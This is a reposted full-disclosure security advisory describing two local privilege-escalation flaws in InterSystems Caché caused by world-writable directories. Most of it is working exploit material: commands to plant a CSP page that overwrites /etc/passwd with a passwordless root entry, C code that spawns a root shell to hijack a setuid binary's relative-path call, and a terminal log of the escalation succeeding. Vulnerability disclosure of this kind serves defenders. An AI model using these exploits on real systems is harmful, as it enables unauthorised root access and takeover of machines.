-----BEGIN PGP SIGNED MESSAGE----- After seeing the security advisory from intersystems I found this post from Larry Cashdollar on full-disclosure. I didn't see it here and found it usefull. Larry Cashdollar wrote: Here are more details of my research... Vuln1 Local attackers can exploit this to manipulate directories and binaries inside the installation tree. This may be used by a local malicious user to gain root access. The content in /cachesys/csp/user is executed as root through the web interface. user's parent directory (csp) is world writeable allowing a local non root user to move user aside, copy its contents and create a new writeable user directory. 1. mv /cachesys/csp/user /cachesys/csp/user.old 2. cp -rp /cachesys/csp/user /cachesys/csp/user.old 3. cp cspexp.csp /cachesys/csp/user 4. lnyx http://localhost/csp/user/cspexp.csp 5. su - cache <------------------cspexp.csp-------------> <html> Intersystems Cache' local root exploit. Larry W. Cashdollar http://vapid.dhs.org Because of poor default file and directory permissions a localuser can execute code as root via the cache CSP interpreter. <HR> Attempting to overwrite /etc/passwd with cache::0:0:root:/root:/bin/bash. <script language=Cache runat=server> Set cdef=##class(%Library.File).%New("/etc/passwd") Do cdef.Open("WSN") Do cdef.WriteLine("cache::0:0:root:/root:/bin/bash") Do cdef.%Close() </script> </html> Vuln 2 - --------- A user who is a member of the group configured at installation to start and stop the cache database can get local root access by exploting poor file permissions and the use of relative path names in setuid binaries. Using the following method. 1. mv /path/to/cache/bin/cache /path/to/cache/bin/cache.orig 2. cd /path/to/cache/bin 3. cat cache.c << -EOF- #include <stdio.h> int main(void) { setuid(0);setgid(0); system("/bin/sh"); } - -EOF- 4. gcc cache.c -o cache 5. ./cuxs Details: cuxs is setuid root and can be configured as executeable by a specific group upon installation of Cache' database. cuxs is a control program for Cache, it executes Cache using the following system call: execve("../bin/cache",["cache"],... since by default bin is world write able the binary cache can be moved and replaced by a malicous one. [lwc@boureguard lwc]$ cd /usr/ecache [lwc@boureguard ecache]$ ls -ld bin;cd bin drwxrwxrwx 2 root root 4096 Mar 18 07:13 bin [lwc@boureguard bin]$ mv cache cache.orig [lwc@boureguard bin]$ gcc cache.c -o cache [lwc@boureguard bin]$ id uid=500(lwc) gid=500(lwc) groups=500(lwc),10(wheel) [lwc@boureguard bin]$ ls -l cuxs - -rwsr-x--- 1 root wheel 16488 Mar 18 06:49 cuxs [lwc@boureguard bin]$ ./cuxs sh-2.05a# id uid=0(root) gid=0(root) groups=500(lwc),10(wheel) sh-2.05a# -----BEGIN PGP SIGNATURE----- Version: Hush 2.2 (Java) Note: This signature can be verified at https://www.hushtools.com/verify wlkEARECABkFAj9C8UQSHHBpeGNyb3dhbkBodXNoLmFpAAoJEEt8Q/lU+e2YbxkAmwVB zBvBsvj5O6NXy9TS7T3snv7eAJ0ZoqM/eooI8rVVe7xfgml19gKinQ== =ruGG -----END PGP SIGNATURE----- Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Free, ultra-private instant messaging with Hush Messenger https://www.hushmail.com/services.php?subloc=messenger&l=434 Promote security and make money with the Hushmail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427
